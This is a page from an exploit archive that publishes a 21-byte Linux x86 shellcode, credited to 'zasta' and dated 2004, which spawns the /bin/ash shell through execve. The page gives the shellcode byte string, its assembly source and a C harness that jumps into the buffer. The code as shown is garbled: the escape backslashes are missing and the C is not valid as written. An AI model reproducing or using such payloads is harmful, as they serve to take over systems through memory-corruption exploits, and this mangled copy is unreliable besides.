[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 execve("/bin/ash",0,0); 21 bytes
# Published : 2004-11-15
# Author : zasta
# Previous Title : linux/x86 execve code 23 bytes
# Next Title : win xp/2000/2003 Connect Back shellcode for Overflow exploit 275 bytes
/* 21 byte execve("/bin/ash",0,0); shellcode for linux x86
* by zasta (zasta at darkircop.org) */
#include <unistd.h>
#include <stdio.h>
char shellcode[] = "x31xc9xf7xe1x04x0bx52x68"
"x2fx61x73x68x68x2fx62x69"
"x6ex89xe3xcdx80";
void code() {
__asm__("
xor %ecx,%ecx
mul %ecx
addb $0xb,%al
push %edx
push $0x6873612f
push $0x6e69622f
mov %esp,%ebx
int $0x80
");
}
void (*ptr)() = (void(*)()) &shellcode[0];(*ptr)();
// www.Syue.com [2004-11-15]